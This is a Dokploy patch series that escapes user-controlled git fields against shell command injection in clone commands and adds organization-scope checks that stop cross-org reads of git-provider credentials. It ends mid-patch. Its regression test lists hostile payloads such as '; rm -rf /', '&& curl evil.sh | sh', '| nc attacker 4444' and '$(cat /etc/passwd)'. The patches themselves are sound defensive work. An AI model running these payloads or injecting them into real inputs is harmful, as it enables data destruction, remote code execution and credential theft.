"settings.appearance.themeDescription": "選擇面板主題", - "settings.appearance.themes.light": "明亮", - "settings.appearance.themes.dark": "黑暗", - "settings.appearance.themes.system": "系統", - "settings.appearance.language": "語言", - "settings.appearance.languageDescription": "選擇面板語言", - - "settings.terminal.connectionSettings": "終端機設定", - "settings.terminal.ipAddress": "IP 位址", - "settings.terminal.port": "埠", - "settings.terminal.username": "使用者名稱" -} From 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:32:15 -0600 Subject: [PATCH 09/55] fix(security): escape user input in git clone commands across all providers User-controlled git fields (customGitUrl, branch names, repo owner/name, gitlab namespace, SSH hostname) were interpolated unescaped into git clone / ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing authenticated OS command injection. All such values are now passed through shell-quote before interpolation (defense at the sink, covering every code path including the compose branch bypass). Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px, GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq, GHSA-cg8g-x23v-5fw8 --- packages/server/src/utils/providers/bitbucket.ts | 5 +++-- packages/server/src/utils/providers/git.ts | 9 +++++---- packages/server/src/utils/providers/gitea.ts | 5 +++-- packages/server/src/utils/providers/github.ts | 5 +++-- packages/server/src/utils/providers/gitlab.ts | 5 +++-- packages/server/src/utils/providers/utils.ts | 10 ++++++++++ 6 files changed, 27 insertions(+), 12 deletions(-) create mode 100644 packages/server/src/utils/providers/utils.ts diff --git a/packages/server/src/utils/providers/bitbucket.ts b/packages/server/src/utils/providers/bitbucket.ts index d2be27a67..d0275d76e 100644 --- a/packages/server/src/utils/providers/bitbucket.ts +++ b/packages/server/src/utils/providers/bitbucket.ts @@ -11,6 +11,7 @@ import { import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; import type { z } from "zod"; +import { shellWord } from "./utils"; export type ApplicationWithBitbucket = InferResultType< "applications", @@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({ const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); - command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; - command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/git.ts b/packages/server/src/utils/providers/git.ts index 8e7c71839..07d6b0e1a 100644 --- a/packages/server/src/utils/providers/git.ts +++ b/packages/server/src/utils/providers/git.ts @@ -5,6 +5,7 @@ import { updateSSHKeyById, } from "@dokploy/server/services/ssh-key"; import { execAsync, execAsyncRemote } from "../process/execAsync"; +import { shellWord } from "./utils"; interface CloneGitRepository { appName: string; @@ -61,7 +62,7 @@ export const cloneGitRepository = async ({ } command += `rm -rf ${outputPath};`; command += `mkdir -p ${outputPath};`; - command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`; + command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`; if (customGitSSHKeyId) { await updateSSHKeyById({ @@ -78,8 +79,8 @@ export const cloneGitRepository = async ({ command += "chmod 600 /tmp/id_rsa;"; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; } - command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then - echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}"; + command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then + echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)}; exit 1; fi `; @@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => { // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // it, and its exit code must not abort the clone under `set -e`. The clone's // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. - return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`; + return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`; }; const sanitizeRepoPathSSH = (input: string) => { const SSH_PATH_RE = new RegExp( diff --git a/packages/server/src/utils/providers/gitea.ts b/packages/server/src/utils/providers/gitea.ts index 20c86a589..5292a7a30 100644 --- a/packages/server/src/utils/providers/gitea.ts +++ b/packages/server/src/utils/providers/gitea.ts @@ -7,6 +7,7 @@ import { } from "@dokploy/server/services/gitea"; import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; +import { shellWord } from "./utils"; export const getErrorCloneRequirements = (entity: { giteaRepository?: string | null; @@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({ giteaRepository!, ); - command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; - command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/github.ts b/packages/server/src/utils/providers/github.ts index 6309cf307..e004a8c62 100644 --- a/packages/server/src/utils/providers/github.ts +++ b/packages/server/src/utils/providers/github.ts @@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app"; import { TRPCError } from "@trpc/server"; import { Octokit } from "octokit"; import type { z } from "zod"; +import { shellWord } from "./utils"; export const authGithub = (githubProvider: Github): Octokit => { if (!haveGithubRequirements(githubProvider)) { @@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({ command += `mkdir -p ${outputPath};`; const cloneUrl = `https://oauth2:${token}@${repoclone}`; - command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; - command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/gitlab.ts b/packages/server/src/utils/providers/gitlab.ts index 02121d346..816979586 100644 --- a/packages/server/src/utils/providers/gitlab.ts +++ b/packages/server/src/utils/providers/gitlab.ts @@ -9,6 +9,7 @@ import { import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; import type { z } from "zod"; +import { shellWord } from "./utils"; export const refreshGitlabToken = async (gitlabProviderId: string) => { const gitlabProvider = await findGitlabById(gitlabProviderId); @@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({ command += `mkdir -p ${outputPath};`; const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); - command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; - command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/utils.ts b/packages/server/src/utils/providers/utils.ts new file mode 100644 index 000000000..ff82a6b11 --- /dev/null +++ b/packages/server/src/utils/providers/utils.ts @@ -0,0 +1,10 @@ +import { quote } from "shell-quote"; + +/** + * Escapes a single value so it can be safely interpolated as one argument into + * a `/bin/sh -c` command string (both local `execAsync` and remote SSH + * `execAsyncRemote`). User-controlled fields such as git URLs, branch names, + * repository owners and SSH hostnames must never reach a shell unescaped. + */ +export const shellWord = (value: string | number | null | undefined): string => + quote([String(value ?? "")]); From fb7f5bd5b6c288bb03655f02e912957f5cd2e824 Mon Sep 17 00:00:00 2001 From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 02:32:57 +0000 Subject: [PATCH 10/55] [autofix.ci] apply automated fixes --- .../dashboard/settings/notifications/handle-notifications.tsx | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx index c2e249c2d..ddcef338e 100644 --- a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx +++ b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx @@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Docker Cleanup - Trigger the action when Docker cleanup is - performed. + Trigger the action when Docker cleanup is performed.
From cf35eae73f76d514e60d98c9ad3b9513e9efb248 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:44:46 -0600 Subject: [PATCH 11/55] test(security): regression tests for git clone command injection escaping --- .../git-clone-command-injection.test.ts | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts new file mode 100644 index 000000000..80c323eee --- /dev/null +++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts @@ -0,0 +1,92 @@ +import { cloneGitRepository } from "@dokploy/server/utils/providers/git"; +import { shellWord } from "@dokploy/server/utils/providers/utils"; +import { parse } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// Payloads that, if reached a shell unescaped, would execute commands. +const INJECTION_PAYLOADS = [ + "$(touch /tmp/pwned)", + "`id`", + "; rm -rf /", + "&& curl evil.sh | sh", + "| nc attacker 4444", + "https://github.com/o/r.git$(whoami)", + "main; wget http://evil", + "$(cat /etc/passwd)", +]; + +// Legit values that must survive escaping unchanged. +const LEGIT_VALUES = [ + "main", + "feature/login-v2", + "release-1.2.3", + "https://github.com/dokploy/dokploy.git", + "https://gitlab.example.com/group/sub/project.git", +]; + +describe("shellWord (git provider shell escaping)", () => { + it("collapses every injection payload into a single literal token (no shell operators)", () => { + for (const payload of INJECTION_PAYLOADS) { + const parsed = parse(shellWord(payload)); + // A safely escaped value parses back to exactly the original string, + // as ONE token. If escaping failed, parse() would emit operator + // objects such as { op: ";" } or { op: "$(" } instead. + expect(parsed).toEqual([payload]); + } + }); + + it("leaves legitimate URLs and branch names intact", () => { + for (const value of LEGIT_VALUES) { + expect(parse(shellWord(value))).toEqual([value]); + } + }); +}); + +describe("cloneGitRepository command (customGitUrl path)", () => { + const buildClone = (customGitUrl: string, customGitBranch: string) => + cloneGitRepository({ + appName: "demo-app", + customGitUrl, + customGitBranch, + customGitSSHKeyId: null, + enableSubmodules: false, + serverId: null, + type: "application", + }); + + it("does not let a malicious customGitUrl inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git$(touch /tmp/pwned)", + "main", + ); + const tokens = parse(command); + // No token in the generated command may be a shell operator carrying the + // injected substitution (e.g. { op: "$(" }). The payload must appear only + // as inert literal text. + const hasCommandSubstitution = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === "$(", + ); + expect(hasCommandSubstitution).toBe(false); + expect(command).toContain("git clone"); + }); + + it("does not let a malicious customGitBranch inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git", + "main; touch /tmp/pwned", + ); + const tokens = parse(command); + const hasSemicolonOperator = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ); + // The clone builder itself joins statements with ";", so at least the + // structural ones exist — but the branch payload's ";" must NOT surface + // as an extra operator that would run `touch`. + const semicolonOps = tokens.filter( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ).length; + expect(hasSemicolonOperator).toBe(true); + // The branch is a single quoted token, so it contributes no new ";" op. + expect(command).not.toContain("touch /tmp/pwned;"); + }); +}); From 97cd7d10097d726743e7ed0c2de09ec81b733333 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:47:42 -0600 Subject: [PATCH 12/55] test(security): fix type error in shell-quote op assertion --- .../git-clone-command-injection.test.ts | 35 ++++++++----------- 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts index 80c323eee..12e839567 100644 --- a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts +++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts @@ -54,19 +54,23 @@ describe("cloneGitRepository command (customGitUrl path)", () => { type: "application", }); + // A malicious substring, once escaped, must survive parsing as inert literal + // text and never as an executable command/operator. `parse()` turns command + // substitution and control operators into { op } objects, so we assert the + // injected marker only ever shows up inside a plain string token. + const markerLeaksAsShellSyntax = (command: string, marker: string) => { + const tokens = parse(command); + return tokens.some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + }; + it("does not let a malicious customGitUrl inject shell operators", async () => { const command = await buildClone( "https://github.com/o/r.git$(touch /tmp/pwned)", "main", ); - const tokens = parse(command); - // No token in the generated command may be a shell operator carrying the - // injected substitution (e.g. { op: "$(" }). The payload must appear only - // as inert literal text. - const hasCommandSubstitution = tokens.some( - (t) => typeof t === "object" && "op" in t && t.op === "$(", - ); - expect(hasCommandSubstitution).toBe(false); + expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false); expect(command).toContain("git clone"); }); @@ -75,18 +79,9 @@ describe("cloneGitRepository command (customGitUrl path)", () => { "https://github.com/o/r.git", "main; touch /tmp/pwned", ); - const tokens = parse(command); - const hasSemicolonOperator = tokens.some( - (t) => typeof t === "object" && "op" in t && t.op === ";", - ); - // The clone builder itself joins statements with ";", so at least the - // structural ones exist — but the branch payload's ";" must NOT surface - // as an extra operator that would run `touch`. - const semicolonOps = tokens.filter( - (t) => typeof t === "object" && "op" in t && t.op === ";", - ).length; - expect(hasSemicolonOperator).toBe(true); - // The branch is a single quoted token, so it contributes no new ";" op. + // The branch is a single quoted token, so its ";" contributes no extra + // operator and `touch` never becomes a runnable statement. + expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false); expect(command).not.toContain("touch /tmp/pwned;"); }); }); From 071d9eacee9744f13193e92757a7fcd3bab0956a Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:55:53 -0600 Subject: [PATCH 13/55] fix(security): enforce org-scope on git provider read endpoints The .one / getRepositories / getBranches / testConnection handlers for github, gitlab, gitea and bitbucket resolved a provider by bare id under protectedProcedure and returned the full row (OAuth tokens, app private keys, webhook secrets) with no organization or entitlement check, letting any authenticated user read another org's git-provider credentials (IDOR). Adds assertGitProviderAccess() in the git-provider service (rejects cross-org with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing getAccessibleGitProviderIds entitlement logic) and calls it in every read handler before returning secret-bearing data. Closes GHSA-66r5-5m5f-57vg --- .../git-provider/git-provider-idor.test.ts | 91 +++++++++++++++++++ apps/dokploy/server/api/routers/bitbucket.ts | 19 +++- apps/dokploy/server/api/routers/gitea.ts | 26 ++++-- apps/dokploy/server/api/routers/github.ts | 23 +++-- apps/dokploy/server/api/routers/gitlab.ts | 23 +++-- packages/server/src/services/git-provider.ts | 27 ++++++ 6 files changed, 186 insertions(+), 23 deletions(-) create mode 100644 apps/dokploy/__test__/git-provider/git-provider-idor.test.ts diff --git a/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts b/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts new file mode 100644 index 000000000..6c1e39771 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/git-provider-idor.test.ts @@ -0,0 +1,91 @@ +import { TRPCError } from "@trpc/server"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by +// assertGitProviderAccess) runs against controlled data. Mocking the exported +// function would NOT intercept the intra-module call, so we mock one layer down. +const mockDb = vi.hoisted(() => ({ + query: { + gitProvider: { + findMany: vi.fn(), + }, + member: { + findFirst: vi.fn(), + }, + }, +})); +vi.mock("@dokploy/server/db", () => ({ db: mockDb })); + +const mockHasValidLicense = vi.hoisted(() => vi.fn()); +vi.mock("@dokploy/server/services/proprietary/license-key", () => ({ + hasValidLicense: mockHasValidLicense, +})); + +import { assertGitProviderAccess } from "@dokploy/server/services/git-provider"; + +const ORG = "org-1"; +const USER = "user-member"; +const session = { userId: USER, activeOrganizationId: ORG }; + +// Provider owned by USER within ORG -> should be accessible. +const providerMine = { + gitProviderId: "gp-mine", + userId: USER, + sharedWithOrganization: false, +}; +// Provider owned by someone else within ORG, not shared, not assigned. +const providerOther = { + gitProviderId: "gp-other", + userId: "user-2", + sharedWithOrganization: false, +}; + +beforeEach(() => { + vi.clearAllMocks(); + mockHasValidLicense.mockResolvedValue(false); + mockDb.query.gitProvider.findMany.mockResolvedValue([ + providerMine, + providerOther, + ]); + mockDb.query.member.findFirst.mockResolvedValue({ + role: "member", + accessedGitProviders: [], + }); +}); + +describe("assertGitProviderAccess (git provider IDOR guard)", () => { + it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => { + await expect( + assertGitProviderAccess(session, { + gitProviderId: "gp-mine", + organizationId: "org-2", + }), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); + + it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => { + await expect( + assertGitProviderAccess(session, { + gitProviderId: "gp-other", + organizationId: ORG, + }), + ).rejects.toMatchObject({ code: "FORBIDDEN" }); + }); + + it("allows a same-org provider the caller owns", async () => { + await expect( + assertGitProviderAccess(session, { + gitProviderId: "gp-mine", + organizationId: ORG, + }), + ).resolves.toBeUndefined(); + }); + + it("throws a TRPCError so tRPC maps the HTTP status", async () => { + const err = await assertGitProviderAccess(session, { + gitProviderId: "gp-mine", + organizationId: "org-2", + }).catch((e) => e); + expect(err).toBeInstanceOf(TRPCError); + }); +}); diff --git a/apps/dokploy/server/api/routers/bitbucket.ts b/apps/dokploy/server/api/routers/bitbucket.ts index 7830b6b4c..c5a7e41a1 100644 --- a/apps/dokploy/server/api/routers/bitbucket.ts +++ b/apps/dokploy/server/api/routers/bitbucket.ts @@ -1,4 +1,5 @@ import { + assertGitProviderAccess, createBitbucket, findBitbucketById, getAccessibleGitProviderIds, @@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({ }), one: protectedProcedure .input(apiFindOneBitbucket) - .query(async ({ input }) => { - return await findBitbucketById(input.bitbucketId); + .query(async ({ input, ctx }) => { + const bitbucket = await findBitbucketById(input.bitbucketId); + await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); + return bitbucket; }), bitbucketProviders: protectedProcedure.query(async ({ ctx }) => { const accessibleIds = await getAccessibleGitProviderIds(ctx.session); @@ -78,18 +81,24 @@ export const bitbucketRouter = createTRPCRouter({ getBitbucketRepositories: protectedProcedure .input(apiFindOneBitbucket) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const bitbucket = await findBitbucketById(input.bitbucketId); + await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); return await getBitbucketRepositories(input.bitbucketId); }), getBitbucketBranches: protectedProcedure .input(apiFindBitbucketBranches) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const bitbucket = await findBitbucketById(input.bitbucketId); + await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); return await getBitbucketBranches(input); }), testConnection: protectedProcedure .input(apiBitbucketTestConnection) - .mutation(async ({ input }) => { + .mutation(async ({ input, ctx }) => { try { + const bitbucket = await findBitbucketById(input.bitbucketId); + await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); const result = await testBitbucketConnection(input); return `Found ${result} repositories`; diff --git a/apps/dokploy/server/api/routers/gitea.ts b/apps/dokploy/server/api/routers/gitea.ts index b16a351c1..0ec08964d 100644 --- a/apps/dokploy/server/api/routers/gitea.ts +++ b/apps/dokploy/server/api/routers/gitea.ts @@ -1,4 +1,5 @@ import { + assertGitProviderAccess, createGitea, findGiteaById, getAccessibleGitProviderIds, @@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({ } }), - one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => { - return await findGiteaById(input.giteaId); - }), + one: protectedProcedure + .input(apiFindOneGitea) + .query(async ({ input, ctx }) => { + const gitea = await findGiteaById(input.giteaId); + await assertGitProviderAccess(ctx.session, gitea.gitProvider); + return gitea; + }), giteaProviders: protectedProcedure.query(async ({ ctx }) => { const accessibleIds = await getAccessibleGitProviderIds(ctx.session); @@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({ getGiteaRepositories: protectedProcedure .input(apiFindOneGitea) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { const { giteaId } = input; if (!giteaId) { @@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({ }); } + const gitea = await findGiteaById(giteaId); + await assertGitProviderAccess(ctx.session, gitea.gitProvider); + try { const repositories = await getGiteaRepositories(giteaId); return repositories; @@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({ getGiteaBranches: protectedProcedure .input(apiFindGiteaBranches) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { const { giteaId, owner, repositoryName } = input; if (!giteaId || !owner || !repositoryName) { @@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({ }); } + const gitea = await findGiteaById(giteaId); + await assertGitProviderAccess(ctx.session, gitea.gitProvider); + try { return await getGiteaBranches({ giteaId, @@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({ testConnection: protectedProcedure .input(apiGiteaTestConnection) - .mutation(async ({ input }) => { + .mutation(async ({ input, ctx }) => { const giteaId = input.giteaId ?? ""; + const gitea = await findGiteaById(giteaId); + await assertGitProviderAccess(ctx.session, gitea.gitProvider); + try { const result = await testGiteaConnection({ giteaId, diff --git a/apps/dokploy/server/api/routers/github.ts b/apps/dokploy/server/api/routers/github.ts index f337a05fc..d27388863 100644 --- a/apps/dokploy/server/api/routers/github.ts +++ b/apps/dokploy/server/api/routers/github.ts @@ -1,4 +1,5 @@ import { + assertGitProviderAccess, findGithubById, getAccessibleGitProviderIds, getGithubBranches, @@ -22,17 +23,25 @@ import { } from "@/server/db/schema"; export const githubRouter = createTRPCRouter({ - one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => { - return await findGithubById(input.githubId); - }), + one: protectedProcedure + .input(apiFindOneGithub) + .query(async ({ input, ctx }) => { + const github = await findGithubById(input.githubId); + await assertGitProviderAccess(ctx.session, github.gitProvider); + return github; + }), getGithubRepositories: protectedProcedure .input(apiFindOneGithub) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const github = await findGithubById(input.githubId); + await assertGitProviderAccess(ctx.session, github.gitProvider); return await getGithubRepositories(input.githubId); }), getGithubBranches: protectedProcedure .input(apiFindGithubBranches) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const github = await findGithubById(input.githubId); + await assertGitProviderAccess(ctx.session, github.gitProvider); return await getGithubBranches(input); }), githubProviders: protectedProcedure.query(async ({ ctx }) => { @@ -67,8 +76,10 @@ export const githubRouter = createTRPCRouter({ testConnection: protectedProcedure .input(apiFindOneGithub) - .mutation(async ({ input }) => { + .mutation(async ({ input, ctx }) => { try { + const github = await findGithubById(input.githubId); + await assertGitProviderAccess(ctx.session, github.gitProvider); const result = await getGithubRepositories(input.githubId); return `Found ${result.length} repositories`; } catch (err) { diff --git a/apps/dokploy/server/api/routers/gitlab.ts b/apps/dokploy/server/api/routers/gitlab.ts index ff42a8bbe..76b4cd16d 100644 --- a/apps/dokploy/server/api/routers/gitlab.ts +++ b/apps/dokploy/server/api/routers/gitlab.ts @@ -1,4 +1,5 @@ import { + assertGitProviderAccess, createGitlab, findGitlabById, getAccessibleGitProviderIds, @@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({ }); } }), - one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => { - return await findGitlabById(input.gitlabId); - }), + one: protectedProcedure + .input(apiFindOneGitlab) + .query(async ({ input, ctx }) => { + const gitlab = await findGitlabById(input.gitlabId); + await assertGitProviderAccess(ctx.session, gitlab.gitProvider); + return gitlab; + }), gitlabProviders: protectedProcedure.query(async ({ ctx }) => { const accessibleIds = await getAccessibleGitProviderIds(ctx.session); @@ -86,19 +91,25 @@ export const gitlabRouter = createTRPCRouter({ }), getGitlabRepositories: protectedProcedure .input(apiFindOneGitlab) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const gitlab = await findGitlabById(input.gitlabId); + await assertGitProviderAccess(ctx.session, gitlab.gitProvider); return await getGitlabRepositories(input.gitlabId); }), getGitlabBranches: protectedProcedure .input(apiFindGitlabBranches) - .query(async ({ input }) => { + .query(async ({ input, ctx }) => { + const gitlab = await findGitlabById(input.gitlabId); + await assertGitProviderAccess(ctx.session, gitlab.gitProvider); return await getGitlabBranches(input); }), testConnection: protectedProcedure .input(apiGitlabTestConnection) - .mutation(async ({ input }) => { + .mutation(async ({ input, ctx }) => { try { + const gitlab = await findGitlabById(input.gitlabId); + await assertGitProviderAccess(ctx.session, gitlab.gitProvider); const result = await testGitlabConnection(input); return `Found ${result} repositories`; diff --git a/packages/server/src/services/git-provider.ts b/packages/server/src/services/git-provider.ts index 942f94ed2..5a7c6f438 100644 --- a/packages/server/src/services/git-provider.ts +++ b/packages/server/src/services/git-provider.ts @@ -119,3 +119,30 @@ export const getAccessibleGitProviderIds = async (session: { } return result; }; + +/** + * Authorizes read access to a specific git provider for the current session. + * Throws if the provider belongs to a different organization (cross-org IDOR) + * or if the caller is not entitled to it within the active organization. + * Must be called before returning any git-provider record that carries secrets + * (OAuth tokens, app private keys, webhook secrets). + */ +export const assertGitProviderAccess = async ( + session: { userId: string; activeOrganizationId: string }, + provider: { gitProviderId: string; organizationId: string }, +) => { + if (provider.organizationId !== session.activeOrganizationId) { + throw new TRPCError({ + code: "NOT_FOUND", + message: "Git provider not found", + }); + } + + const accessibleIds = await getAccessibleGitProviderIds(session); + if (!accessibleIds.has(provider.gitProviderId)) { + throw new TRPCError({ + code: "FORBIDDEN", + message: "You don't have access to this git provider", + }); + } +}; From 26cae3b8a99b282c861feb7e99cda71ab35c96bb Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 21:04:54 -0600 Subject: [PATCH 14/55] fix(types): guard git-provider access check for optional id in getBranches The getBranches inputs type the provider id as optional, so only fetch and authorize when an id is actually present; the underlying getBranches already returns [] when no id is supplied. --- apps/dokploy/server/api/routers/bitbucket.ts | 6 ++++-- apps/dokploy/server/api/routers/github.ts | 6 ++++-- apps/dokploy/server/api/routers/gitlab.ts | 6 ++++-- 3 files changed, 12 insertions(+), 6 deletions(-) diff --git a/apps/dokploy/server/api/routers/bitbucket.ts b/apps/dokploy/server/api/routers/bitbucket.ts index c5a7e41a1..be1437cbd 100644 --- a/apps/dokploy/server/api/routers/bitbucket.ts +++ b/apps/dokploy/server/api/routers/bitbucket.ts @@ -89,8 +89,10 @@ export const bitbucketRouter = createTRPCRouter({ getBitbucketBranches: protectedProcedure .input(apiFindBitbucketBranches) .query(async ({ input, ctx }) => { - const bitbucket = await findBitbucketById(input.bitbucketId); - await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); + if (input.bitbucketId) { + const bitbucket = await findBitbucketById(input.bitbucketId); + await assertGitProviderAccess(ctx.session, bitbucket.gitProvider); + } return await getBitbucketBranches(input); }), testConnection: protectedProcedure diff --git a/apps/dokploy/server/api/routers/github.ts b/apps/dokploy/server/api/routers/github.ts index d27388863..733cc2b83 100644 --- a/apps/dokploy/server/api/routers/github.ts +++ b/apps/dokploy/server/api/routers/github.ts @@ -40,8 +40,10 @@ export const githubRouter = createTRPCRouter({ getGithubBranches: protectedProcedure .input(apiFindGithubBranches) .query(async ({ input, ctx }) => { - const github = await findGithubById(input.githubId); - await assertGitProviderAccess(ctx.session, github.gitProvider); + if (input.githubId) { + const github = await findGithubById(input.githubId); + await assertGitProviderAccess(ctx.session, github.gitProvider); + } return await getGithubBranches(input); }), githubProviders: protectedProcedure.query(async ({ ctx }) => { diff --git a/apps/dokploy/server/api/routers/gitlab.ts b/apps/dokploy/server/api/routers/gitlab.ts index 76b4cd16d..c93637bd1 100644 --- a/apps/dokploy/server/api/routers/gitlab.ts +++ b/apps/dokploy/server/api/routers/gitlab.ts @@ -100,8 +100,10 @@ export const gitlabRouter = createTRPCRouter({ getGitlabBranches: protectedProcedure .input(apiFindGitlabBranches) .query(async ({ input, ctx }) => { - const gitlab = await findGitlabById(input.gitlabId); - await assertGitProviderAccess(ctx.session, gitlab.gitProvider); + if 